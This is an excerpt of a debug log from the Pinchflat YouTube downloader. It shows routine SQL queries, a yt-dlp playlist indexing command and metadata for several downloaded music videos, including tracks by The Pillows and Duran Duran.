(Кроме музыки с припиской \"Free Use\") официально защищены. При использовании музыки вы можете получить уведомление об авторских правах (Claim).\nНе пугайтесь - это НЕ страйк! Вашему каналу и видео ничего не угрожает. Это лишь означает, что монетизация с этого ролика будет идти в поддержку Проекта (ExTeam).\n\n(Просьба не перезаливать сам трек как собственное музыкальное произведение - давайте уважать труд друг друга).\n\n✉️ Для коммерческих запросов (реклама, кино, игры) и покупки лицензии пишите на: exaellateam@gmail.com\n\n_________________________________________\n\n⚠️ Авторские права на изображения:\nАрты в видео взяты из открытых источников и принадлежат их талантливым авторам. Если вы являетесь автором арта и хотите обсудить его использование или удаление - напишите нам на exaellateam@gmail.com, мы оперативно решим вопрос.\n\n⚠️ Примечание / Note:\nПрошлый никнейм: ExTeam『 ExaellaTeam 』(находится под защитой авторских прав).\nPrevious Nickname: ExTeam『 ExaellaTeam 』(Copyrighted).\n\nСпасибо, что уважаете Наш труд и делитесь творчеством правильно! 💙", "Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K", "xc752NfJ6tQ", 190, false, "https://www.youtube.com/watch?v=xc752NfJ6tQ", "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752Nf (truncated) 22:21:31.218 [debug] QUERY OK source="sources" db=0.2ms queue=66.2ms idle=401.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:31.218 [debug] QUERY OK source="media_profiles" db=0.1ms idle=299.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:31.219 [debug] QUERY OK source="media_items" db=0.1ms idle=299.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [171] 22:21:31.219 [info] Kicking off download for media item #171 (xc752NfJ6tQ) 22:21:31.219 [debug] Current batch of media processed. Will check again in 1000ms 22:21:31.819 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "duration" => 275, "filename" => "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", "id" => "BN4V98vYu8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BN4V98vYu8U", "playlist_index" => 3, "timestamp" => 1657234092, "title" => "The Pillows - Thank you, my twilight [FLCL]", "upload_date" => "20220707"} 22:21:31.821 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=601.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:31.822 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=602.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:31.823 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=603.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:21:32.019 [debug] QUERY OK source="media_items" db=195.1ms idle=604.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "41e87f10-d0f8-40d1-9687-0afb2afc8bbb", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:21:31Z], ~U[2026-07-24 02:21:31Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:21:32.020 [debug] QUERY OK source="sources" db=0.3ms idle=759.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:32.020 [debug] QUERY OK source="media_profiles" db=0.1ms idle=199.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:32.020 [debug] QUERY OK source="media_items" db=0.2ms idle=198.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 22:21:32.020 [debug] Current batch of media processed. Will check again in 1000ms 22:21:32.221 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Anime: Galaxy Express 999\nMusic: Beach House", "duration" => 321, "filename" => "/downloads/Grift/Grift/2023-12-01Space Song[A7blkCcowvk].m4a", "id" => "A7blkCcowvk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=A7blkCcowvk", "playlist_index" => 45, "timestamp" => 1701452691, "title" => "Space Song", "upload_date" => "20231201"} 22:21:32.222 [debug] QUERY OK source="sources" db=0.6ms idle=398.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:32.223 [debug] QUERY OK source="sources" db=0.5ms idle=203.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:32.224 [debug] QUERY OK source="media_items" db=0.6ms idle=203.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-01 17:44:51Z], 4] 22:21:32.425 [debug] QUERY OK source="media_items" db=200.7ms idle=204.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Anime: Galaxy Express 999\nMusic: Beach House", "Space Song", "22d41688-83d4-4e75-839b-21bf24d35869", false, "A7blkCcowvk", 321, false, "https://www.youtube.com/watch?v=A7blkCcowvk", 45, "/downloads/Grift/Grift/2023-12-01Space Song[A7blkCcowvk].m4a", false, false, 4, [], 1, ~U[2023-12-01 17:44:51Z], ~U[2026-07-24 02:21:32Z], ~U[2026-07-24 02:21:32Z], "Anime: Galaxy Express 999\nMusic: Beach House", "Space Song", "A7blkCcowvk", 321, false, "https://www.youtube.com/watch?v=A7blkCcowvk", "/downloads/Grift/Grift/2023-12-01Space Song[A7blkCcowvk].m4a", false, 4, ~U[2023-12-01 17:44:51Z]] 22:21:32.426 [debug] QUERY OK source="sources" db=0.5ms idle=203.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:32.427 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=203.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:32.428 [debug] QUERY OK source="media_items" db=0.7ms idle=203.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [172] 22:21:32.429 [debug] Current batch of media processed. Will check again in 1000ms 22:21:32.522 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85MiR6b3-tcyGRhzHeom4P8c --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/2c/c52ce29fcb53614fbf4be60f308b4e877f4e3797f72583ce2d58084d93d3128d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:21:32.524 [debug] Gracefully stopping file follower 22:21:32.525 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=99.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:32.525 [debug] QUERY OK source="sources" db=0.1ms idle=98.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:32.526 [debug] QUERY OK source="media_items" db=0.1ms idle=98.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-28 13:00:37Z], 4] 22:21:32.723 [debug] QUERY OK source="media_items" db=196.1ms idle=97.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["ChÆÆÆÆÆÆÆÆnge\nSneakily soft-launching my twitch in the description of this video like 2 years later: https://www.twitch.tv/vikasmusic\n\nI have been permanently demonetized from youtube so any support on patreon would be greatly appreciated", "Free Bird - Eurobeat Remix", "353abc8c-5703-4917-bf39-65d54d96437e", false, "xTemcPZw8Eo", 445, false, "https://www.youtube.com/watch?v=xTemcPZw8Eo", 1, "/downloads/Grift/Grift/2022-12-28Free Bird - Eurobeat Remix[xTemcPZw8Eo].m4a", false, false, 4, [], 1, ~U[2022-12-28 13:00:37Z], ~U[2026-07-24 02:21:32Z], ~U[2026-07-24 02:21:32Z], "ChÆÆÆÆÆÆÆÆnge\nSneakily soft-launching my twitch in the description of this video like 2 years later: https://www.twitch.tv/vikasmusic\n\nI have been permanently demonetized from youtube so any support on patreon would be greatly appreciated", "Free Bird - Eurobeat Remix", "xTemcPZw8Eo", 445, false, "https://www.youtube.com/watch?v=xTemcPZw8Eo", "/downloads/Grift/Grift/2022-12-28Free Bird - Eurobeat Remix[xTemcPZw8Eo].m4a", false, 4, ~U[2022-12-28 13:00:37Z]] 22:21:32.724 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=273.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:32.725 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=199.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-10 10:03:24Z], 4] 22:21:32.889 [debug] QUERY OK source="media_items" db=163.6ms idle=199.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by BMG Rights Management (US) LLC\n\nINVISIBLE · Duran Duran\n\nFUTURE PAST\n\n℗ 2021 Tape Modern under exclusive license to BMG Rights Management (US) LLC\n\nReleased on: 2022-02-11\n\nVocals, Producer: Simon Le Bon\nKeyboards, Producer: Nick Rhodes\nBass, Producer: John Taylor\nDrums, Producer: Roger Taylor\nGuitar: Graham Coxon\nProgrammer, Piano, Sound Engineer, String Arrangement: Joshua Blair\nBackground Vocals: BARLI\nProgrammer, Synthesizer, Producer: Erol Alkan\nSound Engineer: Mark Stent\nMixing Assistant: Matt Wolach\nSound Engineer: John Webber\nSound Engineer: Ritchie Kennedy\nSound Engineer: Tom Herbert\nSound Engineer: Ed Farrell\nComposer: Simon Le Bon\nComposer: Nick Rhodes\nComposer: John Taylor\nComposer: Roger Taylor\nComposer: Erol Alkan\n\nAuto-generated by YouTube.", "INVISIBLE", "de7fd768-796f-4d09-b865-13b862bd7db1", false, "hChdmFBjH3s", 191, false, "https://www.youtube.com/watch?v=hChdmFBjH3s", 2, "/downloads/Grift/Grift/2022-02-10INVISIBLE[hChdmFBjH3s].m4a", false, false, 4, [], 1, ~U[2022-02-10 10:03:24Z], ~U[2026-07-24 02:21:32Z], ~U[2026-07-24 02:21:32Z], "Provided to YouTube by BMG Rights Management (US) LLC\n\nINVISIBLE · Duran Duran\n\nFUTURE PAST\n\n℗ 2021 Tape Modern under exclusive license to BMG Rights Management (US) LLC\n\nReleased on: 2022-02-11\n\nVocals, Producer: Simon Le Bon\nKeyboards, Producer: Nick Rhodes\nBass, Producer: John Taylor\nDrums, Producer: Roger Taylor\nGuitar: Graham Coxon\nProgrammer, Piano, Sound Engineer, String Arrangement: Joshua Blair\nBackground Vocals: BARLI\nProgrammer, Synthesizer, Producer: Erol Alkan\nSound Engineer: Mark Stent\nMixing Assistant: Matt Wolach\nSound Engineer: John Webber\nSound Engineer: Ritchie Kennedy\nSound Engineer: Tom Herbert\nSound Engineer: Ed Farrell\nComposer: Simon Le Bon\nComposer: Nick Rhodes\nComposer: John Taylor\nComposer: Roger Taylor\nComposer: Erol Alkan\n\nAuto-generated by YouTube.", "INVISIBLE", "hChdmFBjH3s", 191, false, "https://www.youtube.com/watch?v=hChdmFBjH3s", "/downloads/Grift/Grift/2022-02-10INVISIBLE[hChdmFBjH3s].m4a", false, 4, ~U[2022-02-10 10:03:24Z]] 22:21:32.918 [debug] QUERY OK source="sources" db=28.4ms idle=363.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:32.918 [debug] QUERY OK source="media_items" db=0.1ms idle=195.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-12 19:05:21Z], 4] 22:21:33.021 [debug] Current batch of media processed. Will check again in 1000ms 22:21:33.074 [debug] QUERY OK source="media_items" db=155.2ms idle=195.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈\n\n💀 MEME VERSION – this viral classic just turned into a DARK 